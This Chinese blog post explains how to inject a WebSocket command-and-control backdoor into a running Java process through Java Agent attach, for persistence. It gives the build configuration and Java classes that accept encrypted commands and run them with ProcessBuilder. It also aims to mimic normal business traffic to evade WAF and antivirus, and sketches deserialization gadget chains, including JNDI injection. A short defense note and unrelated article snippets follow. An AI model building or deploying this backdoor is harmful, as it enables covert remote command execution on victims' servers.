Java Agent 注入 WebSocket 篇

Agent

如果要對其進行Agent注入的編寫,需要先理解三個名字premain,agentmain,Instrumentation

premain方法在 JVM 啟動階段調用,一般維持權限的時候不會使用

agentmain方法在 JVM 運行時調用 常用的

Instrumentation實例為代理類提供了修改類字節碼、監控類加載等功能

前言:為什么選擇 Java Agent + WebSocket?

作為權限維持,落地的內存馬容易被查殺到,使用Agent可以不改源碼的前提下注入,監控,修改。

想法

看起來很正常的業務越不會被發現,甚至是對其進行替代

使用 java.lang.instrument 方式編寫 Agent

利用 VirtualMachine.attach 動態掛載 agent,實現對正在運行的 Java 進程注入 WebSocket 后門

利用AES進行數據加密命令加密

長期維持通信信道

如果遇見自帶有websocket的可以直接使用現有通信通道

可植入現有業務流程之中(如用戶聊天系統、推送系統中)

配合 WebSocket 協議繞 WAF

注入的流程

連接注入JVM

靜態注入容易被檢測,所以我們采取動態注入,也就是在JVM運行的時候進行注入

VirtualMachine vm = VirtualMachine.attach(pid);
//pid是JVM所在的服務,整個操作是連接JVM
vm.loadAgent(agentPath);//agentPath是你要注入的agent的jar包
WebScoket C2

制作WebSocket的步驟

參考一下我的pom

    <dependencies><dependency><groupId>org.glassfish.tyrus</groupId><artifactId>tyrus-server</artifactId><version>2.1.1</version></dependency><dependency><groupId>org.json</groupId><artifactId>json</artifactId><version>20210307</version></dependency><dependency><groupId>org.java-websocket</groupId><artifactId>Java-WebSocket</artifactId><version>1.5.2</version></dependency></dependencies>

比較重要的是,有一些依賴需要直接跟隨打包

<build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-shade-plugin</artifactId><version>3.2.4</version><executions><execution><phase>package</phase><goals><goal>shade</goal></goals><configuration><transformers><transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"><manifestEntries><Premain-Class>org.example.MyAgent</Premain-Class><Agent-Class>org.example.MyAgent</Agent-Class><Can-Redefine-Classes>true</Can-Redefine-Classes><Can-Retransform-Classes>true</Can-Retransform-Classes></manifestEntries></transformer></transformers></configuration></execution></executions></plugin></plugins>
</build>
<!--  里面的屬性數據需要根據自己需求來修改  -->
Websocket管理器(看起來像正常業務)
package org.example;import java.util.Base64;public class WSManager {private static WSClient client;public static void setClient(WSClient c) {client = c;}public static void sendEncrypted(String plaintext) {try {byte[] encrypted = AES.encrypt(plaintext, "1234567890abcdef");client.send(Base64.getEncoder().encodeToString(encrypted));} catch (Exception ignored) {}}
}

上面代碼主要的作用是對其進行數據發送加密處理

package org.example;import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;import java.net.URI;public class WSClient extends WebSocketClient {public WSClient(URI serverUri) {super(serverUri);}@Overridepublic void onOpen(ServerHandshake handshakedata) {WSManager.setClient(this);}@Overridepublic void onMessage(String message) {CommandHandler.handle(message);}@Overridepublic void onClose(int code, String reason, boolean remote) {}@Overridepublic void onError(Exception ex) {ex.printStackTrace();}
}
//簡單的一個客戶端的樣子
命令執行部分CommandHandler
package org.example;import org.json.JSONObject;import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Base64;
import java.util.stream.Collectors;public class CommandHandler {public static void handle(String msg) {try {String json = AES.decrypt(Base64.getDecoder().decode(msg), "1234567890abcdef");//先對其進行解密JSONObject obj = new JSONObject(json);String type = obj.getString("type");String payload = obj.getString("payload");//對其進行json處理,像正常業務if ("exec".equals(type)) {ProcessBuilder pb = new ProcessBuilder(payload.split(" "));pb.redirectErrorStream(true);//命令執行String result = new BufferedReader(new InputStreamReader(pb.start().getInputStream())).lines().collect(Collectors.joining("\n"));//正常返回結果JSONObject res = new JSONObject();res.put("type", "result");res.put("payload", result);WSManager.sendEncrypted(res.toString());//加密返回}} catch (Exception ignored) {ignored.printStackTrace();}}
}
數據包部分

這是在執行命令并且返回回來后的數據包,除了發送命令過去的時候會是明文,但也可以對其進行修改

從數據包中,看不出什么異常,避免了WAF的檢測

拓展

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
Object cmdObj = ois.readObject();
//如果覺得這樣的執行可能被檢測到
//CC鏈
BadAttributeValueExpException-> toString()-> Transformer (InvokerTransformer)-> Runtime.getRuntime().exec()//Spring BeanFactory
TemplatesImpl-> getOutputProperties()-> 觸發字節碼加載-> 加載惡意類字節碼
//JDBC
JdbcRowSetImpl-> setDataSourceName("rmi://xxxxxx/obj")-> getDatabaseMetaData()-> JNDI 注入

防御

JVM添加參數

-Djdk.attach.allowAttachSelf=false

移除 JVM 的 Attach 功能

$JAVA_HOME/lib/tools.jar
$JAVA_HOME/lib/libattach.so   (Linux)
$JAVA_HOME/jre/lib/libattach.dylib (macOS)

運行截圖

先啟動了監聽端

添加了一部分輸出,讓其更明顯

免殺效果?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/80366.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/80366.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/80366.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【深度強化學習 DRL 快速實踐】近端策略優化 (PPO)

PPO&#xff08;2017&#xff0c;OpenAI&#xff09;核心改進點 Proximal Policy Optimization (PPO)&#xff1a;一種基于信賴域優化的強化學習算法&#xff0c;旨在克服傳統策略梯度方法在更新時不穩定的問題&#xff0c;采用簡單易實現的目標函數來保證學習過程的穩定性 解決…

筆試強訓:Day2

一、字符串中找出連續最長的數字串(雙指針) 字符串中找出連續最長的數字串_牛客題霸_牛客網 #include <iostream> #include <string> #include <cctype> using namespace std;int main() {//雙指針string str;cin>>str;int nstr.size();int begin-1,l…

MySQL 詳解之 InnoDB:核心特性深度剖析 (ACID, 事務, 鎖, 外鍵, 崩潰恢復)

在 MySQL 的世界里,存儲引擎是數據庫管理系統的核心組成部分,它負責數據的存儲和提取。MySQL 支持多種存儲引擎,如 MyISAM, Memory, CSV 等,但自 MySQL 5.5 版本以來,InnoDB 成為了默認的存儲引擎,也是絕大多數應用場景的首選。 為什么 InnoDB 如此重要并被廣泛采用?因…

Java中正則表達式使用方法

1. 正則表達式概述 正則表達式&#xff08;Regular Expression&#xff0c;簡稱 Regex&#xff09;是一種用于匹配字符串的模式工具。在 Java 中&#xff0c;正則表達式通過 java.util.regex 包實現&#xff0c;主要涉及以下兩個類&#xff1a; Pattern&#xff1a;表示一個編…

使用瀏覽器的Clipboard API實現前端復制copy功能

在前端開發中&#xff0c;復制文本到剪貼板的功能通常使用瀏覽器的 Clipboard API 實現。比如 navigator.clipboard.writeText 方法。以下是一個簡單的案例&#xff0c;展示如何使用 Clipboard API 實現復制文本的功能。 基本用法 首先&#xff0c;你需要創建一個按鈕&#x…

【因果推斷】(二)CV中的應用

文章目錄 因果表征學習因果圖 (Causal Diagram)“后門準則”&#xff08;backdoor criterion&#xff09;和“前門準則”&#xff08;frontdoor criterion&#xff09;后門調整Visual Commonsense R-CNNCausal Intervention for Weakly-Supervised Semantic SegmentationCausal…

【iOS】alloc init new底層原理

目錄 前言 alloc alloc核心操作 cls->instanceSize(extraBytes) calloc obj->initInstanceIsa init 類方法&#xff1a; 實例方法&#xff1a; new 前言 筆者最近在進行對OC語言源碼的學習&#xff0c;學習源碼的過程中經常會出現一些從來沒有遇見過的函數&…

QT窗口相關控件及其屬性

widget&#xff0c;PushButton&#xff0c;lineEdit等都是基于QWidget延展出來的 并不是完整的窗口&#xff0c;而是作為窗口的一部分 真正的窗口是QMainWindow 菜單欄 Qt中的菜單欄是通過QMenuBar這個類來實現的&#xff0c;一個主窗口最多只有一個菜單欄&#xff0c;位于主…

day47—雙指針-平方數之和(LeetCode-633)

題目描述 給定一個非負整數 c &#xff0c;你要判斷是否存在兩個整數 a 和 b&#xff0c;使得 a^2 b^2 c 。 示例 1&#xff1a; 輸入&#xff1a;c 5 輸出&#xff1a;true 解釋&#xff1a;1 * 1 2 * 2 5示例 2&#xff1a; 輸入&#xff1a;c 3 輸出&#xff1a;f…

藍橋杯 20. 壓縮變換

壓縮變換 原題目鏈接 題目描述 小明最近在研究壓縮算法。他知道&#xff0c;壓縮時如果能夠使數值很小&#xff0c;就能通過熵編碼得到較高的壓縮比。然而&#xff0c;要使數值變小是一個挑戰。 最近&#xff0c;小明需要壓縮一些正整數序列&#xff0c;這些序列的特點是&a…

element-ui多個form同時驗證,以及動態循環表單注意事項

多個form同時驗證&#xff1a; validateForm(refs) {if (!refs) {return false}return new Promise((resolve, reject) > {refs.validate().then((valid) > {resolve(valid)}).catch((val) > {resolve(false)})}) }, async handleConfirm() {Promise.all([this.valid…

Spring Boot中自定義404異常處理問題學習筆記

1. 問題背景 在Spring Boot項目中&#xff0c;需要手動返回404異常給前端。為此&#xff0c;我創建了一個自定義的404異常類UnauthorizedAccessException&#xff0c;并在全局異常處理器GlobalExceptionHandler中處理該異常。然而&#xff0c;在使用Postman測試時&#xff0c;…

你學會了些什么220622?--搭建UI自動化

jenkins訪問地址&#xff1a;http://192.168.82.129:8080/ 賬號密碼&#xff1a;admin/a123456a ***** 什么是UI自動化** 使用工具或者腳本對需要測試的軟件的前端界面在預設的條件下&#xff0c;在已有的測試數據下運行系統或者應用程序&#xff0c;并獲取其前端頁面UI顯示的…

【2025計算機網絡-面試常問】http和https區別是什么,http的內容有哪些,https用的是對稱加密還是非對稱加密,流程是怎么樣的

HTTP與HTTPS全面對比及HTTPS加密流程詳解 一、HTTP與HTTPS核心區別 特性HTTPHTTPS協議基礎明文傳輸HTTP SSL/TLS加密層默認端口80443加密方式無加密混合加密&#xff08;非對稱對稱&#xff09;證書要求不需要需要CA頒發的數字證書安全性易被竊聽、篡改、冒充防竊聽、防篡改…

JavaFX 第一篇 Hello World

1、簡介 JavaFX 是一個用于構建客戶端應用程序的 Java 庫&#xff0c;作為 Java 標準庫的一部分&#xff08;JDK 8 到 10&#xff09;&#xff0c;從 JDK 11 開始&#xff0c;JavaFX 將以獨立模塊發布&#xff0c;將不再包含在 JDK標準庫中&#xff0c;他是 Java 應用程序開發的…

SQL實戰:02之連續數問題求解

文章目錄 概述題目:體育館的人流量題解步驟一&#xff1a;構造出一個連續序列步驟二&#xff1a;找出符合條件的組的序號步驟三&#xff1a;fetch結果&#xff0c;使用內連接過濾出符合條件的記錄。完整SQL 題目二&#xff1a;連續出現的數字題解步驟一&#xff1a;分區并構建連…

STM32 的 GPIO和中斷

GPIO的簡單介紹 內部結構 施密特觸發器&#xff08;TTL肖特基觸發器&#xff09; 的工作原理&#xff1a; 施密特觸發電路&#xff08;簡稱&#xff09;是一種波形整形電路&#xff0c;當任何波形的信號進入電路時&#xff0c;輸出在正、負飽和之間跳動&#xff0c;產生方波或…

Server - 優雅的配置服務器 Bash 環境(.bashrc)

歡迎關注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/147335592 免責聲明&#xff1a;本文來源于個人知識與公開資料&#xff0c;僅用于學術交流&#xff0c;歡迎討論&#xff0c;不支持轉載。 登錄服…

使用PyTorch實現圖像增廣與模型訓練實戰

本文通過完整代碼示例演示如何利用PyTorch和torchvision實現常用圖像增廣方法&#xff0c;并在CIFAR-10數據集上訓練ResNet-18模型。我們將從基礎圖像變換到復雜數據增強策略逐步講解&#xff0c;最終實現一個完整的訓練流程。 一、圖像增廣基礎操作 1.1 準備工作 #matplotli…

解決Mac 安裝 PyICU 依賴失敗

失敗日志&#xff1a; 解決辦法 1、使用 homebrew 安裝相關依賴 brew install icu4c 安裝完成后&#xff0c;設置環境變量 echo export PATH"/opt/homebrew/opt/icu4c77/bin:$PATH" >> ~/.zshrcecho export PATH"/opt/homebrew/opt/icu4c77/sbin:$PATH…